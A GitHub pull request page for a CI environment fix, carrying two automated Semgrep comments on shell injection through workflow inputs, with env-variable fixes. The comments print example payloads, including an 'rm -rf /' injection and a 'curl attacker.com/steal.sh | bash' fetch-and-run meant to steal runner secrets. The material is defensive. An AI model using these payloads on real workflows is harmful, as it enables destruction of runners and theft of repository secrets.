Skip to content

Conversation

@abueide
Copy link
Contributor

@abueide abueide commented Jan 28, 2026

  • Fix CI Env
  • Split android subshell into android-min and android-latest to avoid duplicate sdk download
  • Improve sdk resolution summary help text

Comment on lines +35 to +43
run: |
case "${{ inputs.target }}" in
min|max)
;;
*)
echo "Unsupported target '${{ inputs.target }}' for CI. Use min or max." >&2
exit 1
;;
esac

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

User-controlled workflow input inputs.target is directly interpolated into a shell script, allowing code injection attacks that could compromise the runner and steal secrets.

More details about this

The run: step directly interpolates ${{ inputs.target }} from workflow inputs into a shell command without sanitization. An attacker could craft a malicious workflow input to inject arbitrary shell code. For example, if an attacker submits a workflow input like target: '; rm -rf /; echo ', the shell would execute:

case "; rm -rf /; echo " in
  min|max)
    ;;
  *)
    echo "Unsupported target '; rm -rf /; echo ' for CI. Use min or max." >&2
    exit 1
    ;;
esac

The rm -rf / command would run during the case statement evaluation, destroying the runner's filesystem. Even though this script uses case (which provides some protection), the pattern of directly interpolating user input into run: commands is dangerous and violates GitHub Actions security best practices. An attacker could also escape the case statement entirely with different payloads like target: $(malicious_command) or target: command_substitution`` to execute arbitrary code and steal repository secrets or source code from the runner.

Pass workflow inputs through environment variables instead, which prevents shell interpretation of special characters.

To resolve this comment:

✨ Commit Assistant fix suggestion

Suggested change
run: |
case "${{ inputs.target }}" in
min|max)
;;
*)
echo "Unsupported target '${{ inputs.target }}' for CI. Use min or max." >&2
exit 1
;;
esac
env:
TARGET: ${{ inputs.target }}
run: |
case "$TARGET" in
min|max)
;;
*)
echo "Unsupported target '$TARGET' for CI. Use min or max." >&2
exit 1
;;
esac
View step-by-step instructions
  1. Move the GitHub Actions expression (${{ inputs.target }}) into an environment variable using the env: key for that step. For example, add TARGET: ${{ inputs.target }} under env: before run:.
  2. In your shell script, reference the environment variable instead of the GitHub Actions expression. Use double quotes, like this: "$TARGET".
  3. Your fixed step should look like:
    - name: Validate target
      env:
        TARGET: ${{ inputs.target }}
      run: |
        case "$TARGET" in
          min|max)
            ;;
          *)
            echo "Unsupported target '$TARGET' for CI. Use min or max." >&2
            exit 1
            ;;
        esac
    

By using an environment variable, you prevent command injection risks from untrusted workflow inputs.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Need help with this issue? Consult our Semgrep Findings Documentation or ask in #help-appsec on Slack.

You can view more details about this finding in the Semgrep AppSec Platform.

project-path: ${{ inputs.devbox_config }}
enable-cache: 'false'
- name: iOS E2E Tests
run: devbox run --pure --config=${{ inputs.devbox_config }} test-ios

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

Untrusted workflow input inputs.devbox_config is directly interpolated into a shell command, allowing arbitrary command injection by an attacker who controls the workflow input.

More details about this

The run: step directly interpolates ${{ inputs.devbox_config }} into a shell command without sanitization. An attacker can submit a malicious workflow input for devbox_config and inject arbitrary shell commands into the runner.

Exploitation scenario:

  1. An attacker submits a pull request or triggers the workflow with devbox_config set to something like ../; curl attacker.com/steal.sh | bash; #
  2. When the run: step executes, the shell expands this to: devbox run --pure --config=../; curl attacker.com/steal.sh | bash; # test-ios
  3. The shell now executes three separate commands: the devbox command fails on the invalid config path, then curl downloads a malicious script, then bash executes it
  4. The attacker's script can read $GITHUB_TOKEN or other secrets from the runner environment and exfiltrate them, or modify source code in the repository

The inputs variable comes from GitHub workflow inputs, which are untrusted user-controlled data. Even though this specific input is documented as a file path, an attacker controlling the workflow trigger can provide any arbitrary string.

To resolve this comment:

✨ Commit Assistant fix suggestion

Suggested change
run: devbox run --pure --config=${{ inputs.devbox_config }} test-ios
run: devbox run --pure --config="$DEVBOX_CONFIG" test-ios
env:
DEVBOX_CONFIG: ${{ inputs.devbox_config }}
TARGET_SDK: ${{ inputs.target }}
IOS_RUNTIME_MIN: ${{ steps.defaults.outputs.runtime_min }}
IOS_RUNTIME_MAX: ${{ steps.defaults.outputs.runtime_max }}
View step-by-step instructions
  1. Move the input that uses ${{ inputs.devbox_config }} into the env: section by adding a new environment variable, for example, DEVBOX_CONFIG: ${{ inputs.devbox_config }}.
  2. Replace the use of ${{ inputs.devbox_config }} in the run: line with the new environment variable, wrapped in double quotes: "$DEVBOX_CONFIG".
    The updated line should read: run: devbox run --pure --config="$DEVBOX_CONFIG" test-ios.

Using environment variables like this prevents untrusted user input from being directly executed by the shell.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Need help with this issue? Consult our Semgrep Findings Documentation or ask in #help-appsec on Slack.

You can view more details about this finding in the Semgrep AppSec Platform.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants